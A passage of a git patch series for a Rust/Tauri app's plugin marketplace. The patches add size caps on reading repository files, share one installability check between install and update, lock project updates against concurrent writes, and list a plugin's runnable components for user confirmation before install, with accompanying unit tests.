truncate_preview(text: &str) -> String { format!("{}\n…(truncated)", &text[..cut]) } -fn read_utf8(tree: &dyn TreeView, path: &str) -> Result, String> { - match tree.read_file(path)? { +/// A UTF-8 file of at most `max_bytes` (checked before it is loaded). +fn read_utf8(tree: &dyn TreeView, path: &str, max_bytes: u64) -> Result, String> { + match tree.read_file(path, max_bytes)? { None => Ok(None), Some(bytes) => String::from_utf8(bytes) .map(Some) @@ -187,16 +188,9 @@ fn plugin_source_path(source: &serde_json::Value) -> Result { } fn read_plugin_catalog(tree: &dyn TreeView) -> Result>, String> { - let Some(text) = read_utf8(tree, PLUGIN_CATALOG_PATH)? else { + let Some(text) = read_utf8(tree, PLUGIN_CATALOG_PATH, MAX_MANIFEST_BYTES)? else { return Ok(None); }; - if text.len() as u64 > MAX_MANIFEST_BYTES { - return Err(format!( - "{} is larger than {} MiB", - PLUGIN_CATALOG_PATH, - MAX_MANIFEST_BYTES / (1024 * 1024) - )); - } let json: serde_json::Value = serde_json::from_str(&text) .map_err(|e| format!("{} is not valid JSON: {}", PLUGIN_CATALOG_PATH, e))?; let plugins = json @@ -300,16 +294,19 @@ fn collect_dir( if *entries_seen > MAX_ITEM_FILES { return Err(format!("has more than {} files", MAX_ITEM_FILES)); } - let data = tree - .read_file(&format!("{}/{}", root, child_rel))? - .ok_or_else(|| format!("{} vanished while reading", child_rel))?; + // Capped at what is left of the item's budget, so no file + // bigger than the whole item allows is ever loaded. + let data = match tree + .read_file(&format!("{}/{}", root, child_rel), MAX_ITEM_BYTES - *total) + { + Ok(Some(data)) => data, + Ok(None) => return Err(format!("{} vanished while reading", child_rel)), + Err(ReadError::TooLarge { .. }) => { + return Err(format!("is larger than {}", describe_size(MAX_ITEM_BYTES))) + } + Err(e) => return Err(e.into()), + }; *total += data.len() as u64; - if *total > MAX_ITEM_BYTES { - return Err(format!( - "is larger than {} MiB", - MAX_ITEM_BYTES / (1024 * 1024) - )); - } out.push(ItemFile { rel_path: child_rel, data, @@ -348,14 +345,8 @@ pub fn item_files(tree: &dyn TreeView, kind: ItemKind, key: &str) -> Result return Err(format!("{} is not a regular file", path)), } let data = tree - .read_file(&path)? + .read_file(&path, MAX_ITEM_BYTES)? .ok_or_else(|| format!("{} is missing", path))?; - if data.len() as u64 > MAX_ITEM_BYTES { - return Err(format!( - "is larger than {} MiB", - MAX_ITEM_BYTES / (1024 * 1024) - )); - } Ok(vec![ItemFile { rel_path: format!("{}.md", key), data, @@ -485,14 +476,8 @@ fn validate_hooks(hooks: &serde_json::Value) -> Result, String> { fn read_hook_json(tree: &dyn TreeView, key: &str) -> Result { let path = format!("hooks/{}/hook.json", key); - let text = read_utf8(tree, &path)?.ok_or_else(|| format!("{} is missing", path))?; - if text.len() as u64 > MAX_MANIFEST_BYTES { - return Err(format!( - "{} is larger than {} MiB", - path, - MAX_MANIFEST_BYTES / (1024 * 1024) - )); - } + let text = read_utf8(tree, &path, MAX_MANIFEST_BYTES)? + .ok_or_else(|| format!("{} is missing", path))?; serde_json::from_str(&text).map_err(|e| format!("{} is not valid JSON: {}", path, e)) } @@ -581,7 +566,7 @@ fn parse_single_files( continue; } match entry.kind { - EntryKind::File => match read_utf8(tree, &it.path) { + EntryKind::File => match read_utf8(tree, &it.path, MAX_ITEM_BYTES) { Ok(Some(text)) => describe_markdown(&mut it, &text, kind == ItemKind::Command), Ok(None) => it.invalid = Some(format!("{} is missing", it.path)), Err(e) => it.invalid = Some(e), @@ -623,11 +608,13 @@ fn parse_folders(tree: &dyn TreeView, kind: ItemKind, folder: &str, out: &mut Ve continue; } match kind { - ItemKind::Skill => match read_utf8(tree, &format!("{}/SKILL.md", it.path)) { - Ok(Some(text)) => describe_markdown(&mut it, &text, false), - Ok(None) => it.invalid = Some(format!("{} has no SKILL.md", it.path)), - Err(e) => it.invalid = Some(e), - }, + ItemKind::Skill => { + match read_utf8(tree, &format!("{}/SKILL.md", it.path), MAX_ITEM_BYTES) { + Ok(Some(text)) => describe_markdown(&mut it, &text, false), + Ok(None) => it.invalid = Some(format!("{} has no SKILL.md", it.path)), + Err(e) => it.invalid = Some(e), + } + } ItemKind::Hook => match read_hook_json(tree, &entry.name) { Ok(json) => { if let Some(name) = json diff --git a/app/src-tauri/src/marketplace/git.rs b/app/src-tauri/src/marketplace/git.rs index ee7d36a..4bc8f01 100644 --- a/app/src-tauri/src/marketplace/git.rs +++ b/app/src-tauri/src/marketplace/git.rs @@ -545,7 +545,10 @@ mod tests { assert!(has_commit(&repo, &first)); let tree = GitTree::open(&repo, &first).unwrap(); - assert_eq!(tree.read_file("agents/a.md").unwrap().unwrap(), b"one"); + assert_eq!( + tree.read_file("agents/a.md", 1024).unwrap().unwrap(), + b"one" + ); let hook = tree.list_dir("hooks/h").unwrap().unwrap(); assert!(hook[0].executable); assert!(tree.entry_id("agents/a.md").unwrap().is_some()); @@ -560,7 +563,7 @@ mod tests { assert_eq!( GitTree::open(&repo, &first) .unwrap() - .read_file("agents/a.md") + .read_file("agents/a.md", 1024) .unwrap() .unwrap(), b"one" diff --git a/app/src-tauri/src/marketplace/tree.rs b/app/src-tauri/src/marketplace/tree.rs index f39dd7f..37d3ed0 100644 --- a/app/src-tauri/src/marketplace/tree.rs +++ b/app/src-tauri/src/marketplace/tree.rs @@ -29,12 +29,56 @@ pub struct DirEntry { pub trait TreeView { /// Entries of the directory at `path` (`""` = root). `Ok(None)` if absent or not a dir. fn list_dir(&self, path: &str) -> Result>, String>; - /// Contents of the regular file at `path`. `Ok(None)` if absent or not a file. - fn read_file(&self, path: &str) -> Result>, String>; + /// Contents of the regular file at `path`, if it is at most `max_bytes`. + /// `Ok(None)` if absent or not a file. A larger file is + /// [`ReadError::TooLarge`], decided before its contents are loaded. + fn read_file(&self, path: &str, max_bytes: u64) -> Result>, ReadError>; /// Stable content id of the entry at `path`; `None` if absent. fn entry_id(&self, path: &str) -> Result, String>; } +/// Why [`TreeView::read_file`] returned no contents. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum ReadError { + /// The file is larger than the caller's cap (known from the object + /// header, so nothing was inflated). + TooLarge { + path: String, + max_bytes: u64, + }, + Other(String), +} + +/// `"2 MiB"`, `"64 KiB"` or `"N bytes"`. +pub(crate) fn describe_size(bytes: u64) -> String { + const KIB: u64 = 1024; + const MIB: u64 = 1024 * 1024; + if bytes >= MIB && bytes % MIB == 0 { + format!("{} MiB", bytes / MIB) + } else if bytes >= KIB && bytes % KIB == 0 { + format!("{} KiB", bytes / KIB) + } else { + format!("{} bytes", bytes) + } +} + +impl From for String { + fn from(e: ReadError) -> String { + match e { + ReadError::TooLarge { path, max_bytes } => { + format!("{} is larger than {}", path, describe_size(max_bytes)) + } + ReadError::Other(msg) => msg, + } + } +} + +impl From for ReadError { + fn from(msg: String) -> Self { + ReadError::Other(msg) + } +} + /// Hex-encode `bytes`. Shared by [`MemTree`]'s content id (test-only) and /// `catalog::item_fingerprint`'s plugin-entry hash (production), so there is /// one hex formatter rather than two copies of the same `format!("{:02x}")`. @@ -122,18 +166,31 @@ impl TreeView for GitTree { Ok(Some(out)) } - fn read_file(&self, path: &str) -> Result>, String> { + fn read_file(&self, path: &str, max_bytes: u64) -> Result>, ReadError> { let Some((id, mode)) = self.lookup(path)? else { return Ok(None); }; if !mode.is_blob() { return Ok(None); } - let blob = self + // The header alone gives the size; a blob over the cap is never + // inflated (a compressible multi-GB file would otherwise be). + let size = self + .repo + .find_header(id) + .map_err(|e| format!("Could not read {}: {}", path, e))? + .size(); + if size > max_bytes { + return Err(ReadError::TooLarge { + path: path.to_string(), + max_bytes, + }); + } + let mut blob = self .repo .find_blob(id) .map_err(|e| format!("Could not read {}: {}", path, e))?; - Ok(Some(blob.data.clone())) + Ok(Some(blob.take_data())) } fn entry_id(&self, path: &str) -> Result, String> { @@ -268,8 +325,14 @@ impl TreeView for MemTree { Ok(Some(out.into_values().collect())) } - fn read_file(&self, path: &str) -> Result>, String> { + fn read_file(&self, path: &str, max_bytes: u64) -> Result>, ReadError> { match self.nodes.get(path) { + Some(MemNode::File { data, .. }) if data.len() as u64 > max_bytes => { + Err(ReadError::TooLarge { + path: path.to_string(), + max_bytes, + }) + } Some(MemNode::File { data, .. }) => Ok(Some(data.clone())), _ => Ok(None), } @@ -325,8 +388,8 @@ mod tests { assert!(hook[0].executable); assert_eq!(t.list_dir("agents/a.md").unwrap(), None); assert_eq!(t.list_dir("missing").unwrap(), None); - assert_eq!(t.read_file("agents/a.md").unwrap().unwrap(), b"x"); - assert_eq!(t.read_file("agents").unwrap(), None); + assert_eq!(t.read_file("agents/a.md", 10).unwrap().unwrap(), b"x"); + assert_eq!(t.read_file("agents", 10).unwrap(), None); } #[test] @@ -350,4 +413,59 @@ mod tests { ); assert_eq!(a.entry_id("nope").unwrap(), None); } + + /// Review #9: the size comes from the object header, so a blob over the + /// cap is refused without its body ever being inflated. The fixture's + /// loose object is cut short after its header: reading the body would + /// fail, while the header still names the full size. + #[test] + fn git_tree_refuses_an_oversized_blob_from_its_header() { + use crate::marketplace::git::test_support::{git, git_available, init_repo}; + if !git_available() { + return; + } + const CAP: u64 = 64 * 1024; + let dir = tempfile::tempdir().unwrap(); + let big = "x".repeat(CAP as usize + 1); + let commit = init_repo( + dir.path(), + &[ + ("agents/big.md", &big, false), + ("agents/small.md", "hi", false), + ], + ); + let blob = git(dir.path(), &["rev-parse", "HEAD:agents/big.md"]); + let loose = dir + .path() + .join(".git/objects") + .join(&blob[..2]) + .join(&blob[2..]); + let bytes = std::fs::read(&loose).unwrap(); + let mut perms = std::fs::metadata(&loose).unwrap().permissions(); + #[allow(clippy::permissions_set_readonly_false)] + perms.set_readonly(false); // git writes objects read-only + std::fs::set_permissions(&loose, perms).unwrap(); + std::fs::write(&loose, &bytes[..40.min(bytes.len())]).unwrap(); + + let tree = GitTree::open(&dir.path().join(".git"), &commit).unwrap(); + let err = String::from(tree.read_file("agents/big.md", CAP).unwrap_err()); + assert!(err.contains("larger than 64 KiB"), "{err}"); + // The body really is unreadable: under a cap it fits, the read fails + // for another reason — so the refusal above never inflated it. + let body = String::from(tree.read_file("agents/big.md", 2 * CAP).unwrap_err()); + assert!(!body.contains("larger than"), "{body}"); + assert_eq!( + tree.read_file("agents/small.md", CAP).unwrap().unwrap(), + b"hi" + ); + assert_eq!(tree.read_file("agents/missing.md", CAP).unwrap(), None); + } + + #[test] + fn mem_tree_applies_the_same_cap() { + let t = MemTree::new().file("a.md", "12345"); + assert_eq!(t.read_file("a.md", 5).unwrap().unwrap(), b"12345"); + let err = String::from(t.read_file("a.md", 4).unwrap_err()); + assert!(err.contains("a.md is larger than 4 bytes"), "{err}"); + } } -- 2.52.0 From e805c29c703f38a8cb0f0203809d2fd5772c40a9 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 13:03:14 -0700 Subject: [PATCH 33/45] Marketplace: refuse an update to a version that is not installable (PR review #1) Install and update now share ops::installable_at_head: the reviewed head must still be the head and the item's catalog entry there must be valid. The old update check (item_files) never parsed hook.json, so an upstream hook with an unknown event could be pinned and then held by every sync. Co-Authored-By: Claude Opus 5.5 --- .../src/commands/marketplace_commands.rs | 138 ++++++++++++++---- 1 file changed, 106 insertions(+), 32 deletions(-) diff --git a/app/src-tauri/src/commands/marketplace_commands.rs b/app/src-tauri/src/commands/marketplace_commands.rs index 2d716ad..bad3858 100644 --- a/app/src-tauri/src/commands/marketplace_commands.rs +++ b/app/src-tauri/src/commands/marketplace_commands.rs @@ -8,9 +8,7 @@ use tauri::{AppHandle, Emitter, State}; use tokio::sync::oneshot; use crate::docker::container::is_container_running; -use crate::marketplace::{ - self as mk, auth, catalog, diff, gh_login, git, tree::GitTree, MarketplaceManager, -}; +use crate::marketplace::{self as mk, auth, diff, gh_login, git, MarketplaceManager}; use crate::models::marketplace::{ is_valid_commit, is_valid_item_key, AccountMethod, FileDiff, InstallScope, ItemUpdate, Marketplace, MarketplaceAccount, MarketplaceInstall, MarketplaceItemRef, MarketplaceSnapshot, @@ -24,7 +22,7 @@ use crate::AppState; /// testable without a Tauri runtime. pub(crate) mod ops { use crate::marketplace::{auth, git}; - use crate::models::marketplace::{MarketplaceInstall, MarketplaceItemRef}; + use crate::models::marketplace::{MarketplaceInstall, MarketplaceItemRef, MarketplaceSnapshot}; /// Insert, or replace the install of the same item (a re-install re-pins). pub fn upsert_install(list: &mut Vec, inst: MarketplaceInstall) { @@ -82,6 +80,39 @@ pub(crate) mod ops { Ok(head.to_string()) } + /// The one rule install and update share (PR review #1): pin + /// `expected` only if it is still the head (see [`reviewed_head`]) and + /// the item, as the catalog reads it at that head, is valid. `snap`'s + /// items are always parsed at `snap.head_commit`, so for a hook this + /// means its `hook.json` parses and names only known events — exactly + /// what the payload later requires. `action` is "installed"/"updated". + pub fn installable_at_head( + snap: &MarketplaceSnapshot, + item: &MarketplaceItemRef, + expected: &str, + marketplace_name: &str, + action: &str, + ) -> Result { + let head = reviewed_head(snap.head_commit.as_deref(), expected, marketplace_name)?; + let entry = snap + .items + .iter() + .find(|i| i.kind == item.kind && i.key == item.key) + .ok_or_else(|| { + format!( + "\"{}\" is no longer in \"{}\" — refresh the marketplace.", + item.key, marketplace_name + ) + })?; + if let Some(reason) = &entry.invalid { + return Err(format!( + "\"{}\" cannot be {} at this version: {}", + entry.name, action, reason + )); + } + Ok(head) + } + /// An unvalidated value as it may appear in an error: quoted and escaped /// (`{:?}`) and capped at 60 characters, since it can come from an /// import file rather than from what the person just typed. @@ -263,6 +294,75 @@ pub(crate) mod ops { ); } + /// PR review #1: install and update share one rule — the item as the + /// catalog reads it at the reviewed head must be valid. `item_files` + /// alone (the old update check) accepts a hook whose `hook.json` names + /// an unknown event, which every sync would then hold back. + #[tokio::test] + async fn an_item_invalid_at_the_reviewed_head_is_neither_installed_nor_updated() { + use crate::marketplace::test_support::GitFixture; + use crate::marketplace::{catalog, tree::GitTree, MarketplaceManager}; + use crate::models::marketplace::Marketplace; + use crate::models::AppSettings; + + let Some(fx) = GitFixture::new() else { return }; + fx.with_all_kinds(); + fx.write( + "hooks/notify-on-stop/hook.json", + r#"{"hooks":{"PreFoo":[{"hooks":[{"type":"command","command":"x"}]}]}}"#, + ); + let head = fx.commit("bad hook event"); + let data = tempfile::tempdir().unwrap(); + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + let mut settings = AppSettings::default(); + settings.marketplaces.push(Marketplace { + id: "m1".into(), + name: "Team".into(), + url: fx.url(), + branch: None, + account_id: None, + }); + let snap = crate::marketplace::refresh_marketplace(&mgr, &settings, "m1").await; + + let repo = crate::marketplace::git::cache_path(data.path(), "m1"); + let tree = GitTree::open(&repo, &head).unwrap(); + assert!( + catalog::item_files(&tree, ItemKind::Hook, "notify-on-stop").is_ok(), + "the old update check let this through" + ); + + let hook = MarketplaceItemRef { + marketplace_id: "m1".into(), + kind: ItemKind::Hook, + key: "notify-on-stop".into(), + }; + for action in ["installed", "updated"] { + let e = installable_at_head(&snap, &hook, &head, "Team", action).unwrap_err(); + assert!(e.contains(&format!("cannot be {action}")), "{e}"); + assert!(e.contains("PreFoo"), "{e}"); + } + let agent = MarketplaceItemRef { + kind: ItemKind::Agent, + key: "code-reviewer".into(), + ..hook.clone() + }; + assert_eq!( + installable_at_head(&snap, &agent, &head, "Team", "updated").unwrap(), + head + ); + let gone = MarketplaceItemRef { + key: "no-such-agent".into(), + ..agent + }; + let e = installable_at_head(&snap, &gone, &head, "Team", "updated").unwrap_err(); + assert!(e.contains("no longer in"), "{e}"); + assert!( + installable_at_head(&snap, &hook, &"b".repeat(40), "Team", "installed") + .unwrap_err() + .contains("changed since you reviewed") + ); + } + /// Pre-flight F13: the add form and the fetch agree on what a branch /// is, so a name the fetch would refuse is refused up front. #[test] @@ -693,23 +793,7 @@ pub async fn install_marketplace_item( let settings = state.settings_store.get(); let m = find_marketplace(&settings, &item.marketplace_id)?; let snap = snapshot_blocking(&state, &m).await?; - let head = ops::reviewed_head(snap.head_commit.as_deref(), &expected_commit, &m.name)?; - let entry = snap - .items - .iter() - .find(|i| i.kind == item.kind && i.key == item.key) - .ok_or_else(|| { - format!( - "\"{}\" is no longer in \"{}\" — refresh the marketplace.", - item.key, m.name - ) - })?; - if let Some(reason) = &entry.invalid { - return Err(format!( - "\"{}\" cannot be installed: {}", - entry.name, reason - )); - } + let head = ops::installable_at_head(&snap, &item, &expected_commit, &m.name, "installed")?; let inst = MarketplaceInstall { marketplace_id: item.marketplace_id.clone(), kind: item.kind, @@ -829,17 +913,7 @@ pub async fn update_marketplace_item( let settings = state.settings_store.get(); let m = find_marketplace(&settings, &item.marketplace_id)?; let snap = snapshot_blocking(&state, &m).await?; - let head = ops::reviewed_head(snap.head_commit.as_deref(), &expected_commit, &m.name)?; - - let repo = git::cache_path(state.marketplace.data_root(), &m.id); - let (kind, key, at) = (item.kind, item.key.clone(), head.clone()); - tokio::task::spawn_blocking(move || -> Result<(), String> { - let tree = GitTree::open(&repo, &at)?; - catalog::item_files(&tree, kind, &key).map(|_| ()) - }) - .await - .map_err(|e| format!("Checking the new version failed: {e}"))? - .map_err(|e| format!("\"{}\" cannot be updated: {e}", item.key))?; + let head = ops::installable_at_head(&snap, &item, &expected_commit, &m.name, "updated")?; match scope { InstallScope::Global => { -- 2.52.0 From d51b54774b5e242d4f6c8edc91a37cec4cc50ae8 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 13:04:51 -0700 Subject: [PATCH 34/45] Marketplace: edit only the marketplace fields of a project (PR review #2) ProjectsStore gains update_marketplace_fields / update_all_marketplace_fields, which read-modify-write installs and opt-outs under the store's own lock. Install, uninstall, update, forget and set_global_item_disabled use them instead of writing back a whole Project read earlier, so a concurrent start's status/container_id change is no longer overwritten. Co-Authored-By: Claude Opus 5.5 --- .../src/commands/marketplace_commands.rs | 76 ++++++---- app/src-tauri/src/storage/projects_store.rs | 137 ++++++++++++++++++ 2 files changed, 181 insertions(+), 32 deletions(-) diff --git a/app/src-tauri/src/commands/marketplace_commands.rs b/app/src-tauri/src/commands/marketplace_commands.rs index bad3858..583dda1 100644 --- a/app/src-tauri/src/commands/marketplace_commands.rs +++ b/app/src-tauri/src/commands/marketplace_commands.rs @@ -761,16 +761,12 @@ pub async fn forget_marketplace_installs( .global_marketplace_installs .retain(|i| i.marketplace_id != marketplace_id); state.settings_store.update(settings)?; - for mut p in state.projects_store.list() { - let before = (p.marketplace_installs.len(), p.marketplace_disabled.len()); - p.marketplace_installs - .retain(|i| i.marketplace_id != marketplace_id); - p.marketplace_disabled - .retain(|r| r.marketplace_id != marketplace_id); - if (p.marketplace_installs.len(), p.marketplace_disabled.len()) != before { - state.projects_store.update(p)?; - } - } + state + .projects_store + .update_all_marketplace_fields(|installs, disabled| { + installs.retain(|i| i.marketplace_id != marketplace_id); + disabled.retain(|r| r.marketplace_id != marketplace_id); + })?; refresh_pins(&state).await; Ok(()) } @@ -807,9 +803,12 @@ pub async fn install_marketplace_item( state.settings_store.update(s)?; } InstallScope::Project { project_id } => { - let mut p = find_project(&state, &project_id)?; - ops::upsert_install(&mut p.marketplace_installs, inst); - state.projects_store.update(p)?; + state + .projects_store + .update_marketplace_fields(&project_id, |installs, _| { + ops::upsert_install(installs, inst); + Ok(()) + })?; } } refresh_pins(&state).await; @@ -830,19 +829,23 @@ pub async fn uninstall_marketplace_item( } state.settings_store.update(s)?; // An opt-out of an item that is no longer global means nothing. - for mut p in state.projects_store.list() { - if p.marketplace_disabled.contains(&item) { - ops::set_disabled(&mut p.marketplace_disabled, &item, false); - state.projects_store.update(p)?; - } - } + state + .projects_store + .update_all_marketplace_fields(|_, disabled| { + ops::set_disabled(disabled, &item, false) + })?; } InstallScope::Project { project_id } => { - let mut p = find_project(&state, &project_id)?; - if !ops::remove_install(&mut p.marketplace_installs, &item) { - return Err(format!("That item is not installed in \"{}\".", p.name)); - } - state.projects_store.update(p)?; + let name = find_project(&state, &project_id)?.name; + state + .projects_store + .update_marketplace_fields(&project_id, |installs, _| { + if ops::remove_install(installs, &item) { + Ok(()) + } else { + Err(format!("That item is not installed in \"{name}\".")) + } + })?; } } refresh_pins(&state).await; @@ -857,9 +860,13 @@ pub async fn set_global_item_disabled( state: State<'_, AppState>, ) -> Result { validate_item(&item)?; - let mut p = find_project(&state, &project_id)?; - ops::set_disabled(&mut p.marketplace_disabled, &item, disabled); - state.projects_store.update(p) + let ((), saved) = state + .projects_store + .update_marketplace_fields(&project_id, |_, list| { + ops::set_disabled(list, &item, disabled); + Ok(()) + })?; + Ok(saved) } // ───────────────────────────────────────────────────────────────────────────── @@ -924,11 +931,16 @@ pub async fn update_marketplace_item( state.settings_store.update(s)?; } InstallScope::Project { project_id } => { - let mut p = find_project(&state, &project_id)?; - if !ops::repin(&mut p.marketplace_installs, &item, &head) { - return Err(format!("That item is not installed in \"{}\".", p.name)); - } - state.projects_store.update(p)?; + let name = find_project(&state, &project_id)?.name; + state + .projects_store + .update_marketplace_fields(&project_id, |installs, _| { + if ops::repin(installs, &item, &head) { + Ok(()) + } else { + Err(format!("That item is not installed in \"{name}\".")) + } + })?; } } refresh_pins(&state).await; diff --git a/app/src-tauri/src/storage/projects_store.rs b/app/src-tauri/src/storage/projects_store.rs index 338da50..7c09b23 100644 --- a/app/src-tauri/src/storage/projects_store.rs +++ b/app/src-tauri/src/storage/projects_store.rs @@ -2,6 +2,7 @@ use std::fs; use std::path::{Path, PathBuf}; use std::sync::Mutex; +use crate::models::marketplace::{MarketplaceInstall, MarketplaceItemRef}; use crate::models::Project; /// The sticky marker for `projects.json`: `projects.json.corrupt`, beside it. @@ -256,6 +257,60 @@ impl ProjectsStore { } } + /// Read-modify-write of one project's marketplace installs and opt-outs + /// under the store's lock, touching nothing else (PR review #2): the + /// marketplace commands must not write back a whole record read before a + /// start changed its status or container id. When `f` fails nothing is + /// saved. Returns `f`'s value and the saved project. + pub fn update_marketplace_fields( + &self, + project_id: &str, + f: impl FnOnce( + &mut Vec, + &mut Vec, + ) -> Result, + ) -> Result<(T, Project), String> { + let mut projects = self.lock(); + let p = projects + .iter_mut() + .find(|p| p.id == project_id) + .ok_or_else(|| format!("Project {} not found", project_id))?; + let mut installs = p.marketplace_installs.clone(); + let mut disabled = p.marketplace_disabled.clone(); + let out = f(&mut installs, &mut disabled)?; + p.marketplace_installs = installs; + p.marketplace_disabled = disabled; + p.updated_at = chrono::Utc::now().to_rfc3339(); + let saved = p.clone(); + self.save(&projects)?; + Ok((out, saved)) + } + + /// [`Self::update_marketplace_fields`] over every project at once, in one + /// save. Projects `f` leaves as they were are not touched at all. + pub fn update_all_marketplace_fields( + &self, + mut f: impl FnMut(&mut Vec, &mut Vec), + ) -> Result<(), String> { + let mut projects = self.lock(); + let mut changed = false; + for p in projects.iter_mut() { + let mut installs = p.marketplace_installs.clone(); + let mut disabled = p.marketplace_disabled.clone(); + f(&mut installs, &mut disabled); + if installs != p.marketplace_installs || disabled != p.marketplace_disabled { + p.marketplace_installs = installs; + p.marketplace_disabled = disabled; + p.updated_at = chrono::Utc::now().to_rfc3339(); + changed = true; + } + } + if changed { + self.save(&projects)?; + } + Ok(()) + } + pub fn set_container_id(&self, project_id: &str, container_id: Option) -> Result<(), String> { let mut projects = self.lock(); if let Some(p) = projects.iter_mut().find(|p| p.id == project_id) { @@ -410,4 +465,86 @@ mod tests { fs::remove_dir_all(&dir).ok(); } + + fn market_install(key: &str) -> crate::models::marketplace::MarketplaceInstall { + crate::models::marketplace::MarketplaceInstall { + marketplace_id: "m1".into(), + kind: crate::models::marketplace::ItemKind::Agent, + key: key.into(), + commit: "a".repeat(40), + } + } + + #[test] + fn marketplace_edits_keep_a_concurrent_status_and_container_change() { + // PR review #2: a marketplace install/uninstall used to write back a + // whole record read before a start flipped status and container_id, + // leaving the project stuck at Starting with no container. + let dir = temp_dir("marketplace-fields"); + let project = Project::new("demo".to_string(), Vec::new()); + let id = project.id.clone(); + let store = store_over(&dir, vec![project]); + + // The start flow moves on while a marketplace command is running. + store.set_container_id(&id, Some("cid-1".into())).unwrap(); + store.update_status(&id, crate::models::ProjectStatus::Starting).unwrap(); + + let (added, saved) = store + .update_marketplace_fields(&id, |installs, disabled| { + installs.push(market_install("a")); + disabled.push(market_install("g").item_ref()); + Ok(installs.len()) + }) + .unwrap(); + assert_eq!(added, 1); + assert_eq!(saved.container_id.as_deref(), Some("cid-1")); + assert_eq!(saved.status, crate::models::ProjectStatus::Starting); + let on_disk: Vec = + serde_json::from_str(&fs::read_to_string(dir.join("projects.json")).unwrap()).unwrap(); + assert_eq!(on_disk[0].container_id.as_deref(), Some("cid-1")); + assert_eq!(on_disk[0].marketplace_installs, vec![market_install("a")]); + + // A refusal inside the closure writes nothing. + let before = fs::read_to_string(dir.join("projects.json")).unwrap(); + let err = store + .update_marketplace_fields(&id, |installs, _| { + installs.clear(); + Err::<(), _>("not installed".to_string()) + }) + .unwrap_err(); + assert_eq!(err, "not installed"); + assert_eq!(store.get(&id).unwrap().marketplace_installs.len(), 1); + assert_eq!(fs::read_to_string(dir.join("projects.json")).unwrap(), before); + assert!(store.update_marketplace_fields("nope", |_, _| Ok(())).is_err()); + + fs::remove_dir_all(&dir).ok(); + } + + #[test] + fn marketplace_edits_across_all_projects_touch_only_those_fields() { + let dir = temp_dir("marketplace-all"); + let mut a = Project::new("a".to_string(), Vec::new()); + a.marketplace_installs = vec![market_install("x")]; + let b = Project::new("b".to_string(), Vec::new()); + let (a_id, b_id) = (a.id.clone(), b.id.clone()); + let store = store_over(&dir, vec![a, b]); + store.set_container_id(&b_id, Some("cid-b".into())).unwrap(); + store.update_status(&a_id, crate::models::ProjectStatus::Running).unwrap(); + + let b_updated_at = store.get(&b_id).unwrap().updated_at; + store + .update_all_marketplace_fields(|installs, _| { + installs.retain(|i| i.marketplace_id != "m1") + }) + .unwrap(); + + let a = store.get(&a_id).unwrap(); + assert!(a.marketplace_installs.is_empty()); + assert_eq!(a.status, crate::models::ProjectStatus::Running); + let b = store.get(&b_id).unwrap(); + assert_eq!(b.container_id.as_deref(), Some("cid-b")); + assert_eq!(b.updated_at, b_updated_at, "an untouched project is not rewritten"); + + fs::remove_dir_all(&dir).ok(); + } } -- 2.52.0 From da65d51f09c1f56ff5a91149d5f7a307d0cafd7f Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 13:08:15 -0700 Subject: [PATCH 35/45] Marketplace: review a plugin's catalog entry and confirm what it runs (PR review #3, #4) A plugin's update diff now includes its marketplace.json entry as a pretty-printed "marketplace.json entry" file, so inline hooks, MCP servers and commands are reviewed like any file. CatalogItem gains plugin_components (entry / plugin.json runnable keys, hooks/hooks.json, .mcp.json, commands/), and installing a plugin now goes through PluginConfirmModal listing them. The import-preview warnings describe that confirmation accurately. Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/marketplace/catalog.rs | 125 +++++++++++++++++- app/src-tauri/src/marketplace/diff.rs | 120 ++++++++++++++--- app/src-tauri/src/models/marketplace.rs | 15 +++ .../marketplace/BrowsePane.test.tsx | 1 + .../marketplace/InstallControls.test.tsx | 29 ++++ .../marketplace/InstallControls.tsx | 40 +++--- .../marketplace/PluginConfirmModal.tsx | 56 ++++++++ .../marketplace/UpdateDiffModal.tsx | 2 +- app/src/lib/settingsImportPreview.test.ts | 4 +- app/src/lib/settingsImportPreview.ts | 4 +- app/src/lib/types.ts | 7 + 11 files changed, 365 insertions(+), 38 deletions(-) create mode 100644 app/src/components/marketplace/PluginConfirmModal.tsx diff --git a/app/src-tauri/src/marketplace/catalog.rs b/app/src-tauri/src/marketplace/catalog.rs index 64127d5..1763c07 100644 --- a/app/src-tauri/src/marketplace/catalog.rs +++ b/app/src-tauri/src/marketplace/catalog.rs @@ -11,7 +11,7 @@ use sha2::{Digest, Sha256}; use crate::marketplace::tree::{describe_size, hex, EntryKind, ReadError, TreeView}; -use crate::models::marketplace::{is_valid_item_key, CatalogItem, ItemKind}; +use crate::models::marketplace::{is_valid_item_key, CatalogItem, ItemKind, PluginComponent}; pub const MAX_ITEM_BYTES: u64 = 2 * 1024 * 1024; pub const MAX_ITEM_FILES: usize = 200; @@ -510,6 +510,7 @@ fn item(kind: ItemKind, key: &str, path: String) -> CatalogItem { invalid: None, hook_commands: Vec::new(), preview: String::new(), + plugin_components: Vec::new(), } } @@ -644,6 +645,63 @@ fn parse_folders(tree: &dyn TreeView, kind: ItemKind, folder: &str, out: &mut Ve } } +/// Keys of a plugin's catalog entry or `plugin.json` that make Claude Code +/// run something or add commands. +const PLUGIN_RUNNABLE_KEYS: &[&str] = &["hooks", "mcpServers", "lspServers", "commands"]; + +fn runnable_fields(label: &str, json: &serde_json::Value, out: &mut Vec) { + for key in PLUGIN_RUNNABLE_KEYS { + if let Some(value) = json.get(key) { + out.push(PluginComponent { + label: format!("{}: {}", label, key), + content: truncate_preview(&serde_json::to_string_pretty(value).unwrap_or_default()), + }); + } + } +} + +/// What a plugin brings that can run (PR review #4): its catalog entry's +/// and `plugin.json`'s hooks / MCP / LSP servers / commands, and the +/// folder's `hooks/hooks.json`, `.mcp.json` and `commands/`. +fn plugin_components( + tree: &dyn TreeView, + entry: &serde_json::Value, + root: &str, +) -> Vec { + let mut out = Vec::new(); + runnable_fields("marketplace.json entry", entry, &mut out); + let manifest = format!("{}/.claude-plugin/plugin.json", root); + if let Ok(Some(text)) = read_utf8(tree, &manifest, MAX_MANIFEST_BYTES) { + if let Ok(json) = serde_json::from_str::(&text) { + runnable_fields(".claude-plugin/plugin.json", &json, &mut out); + } + } + for file in ["hooks/hooks.json", ".mcp.json"] { + match read_utf8(tree, &format!("{}/{}", root, file), 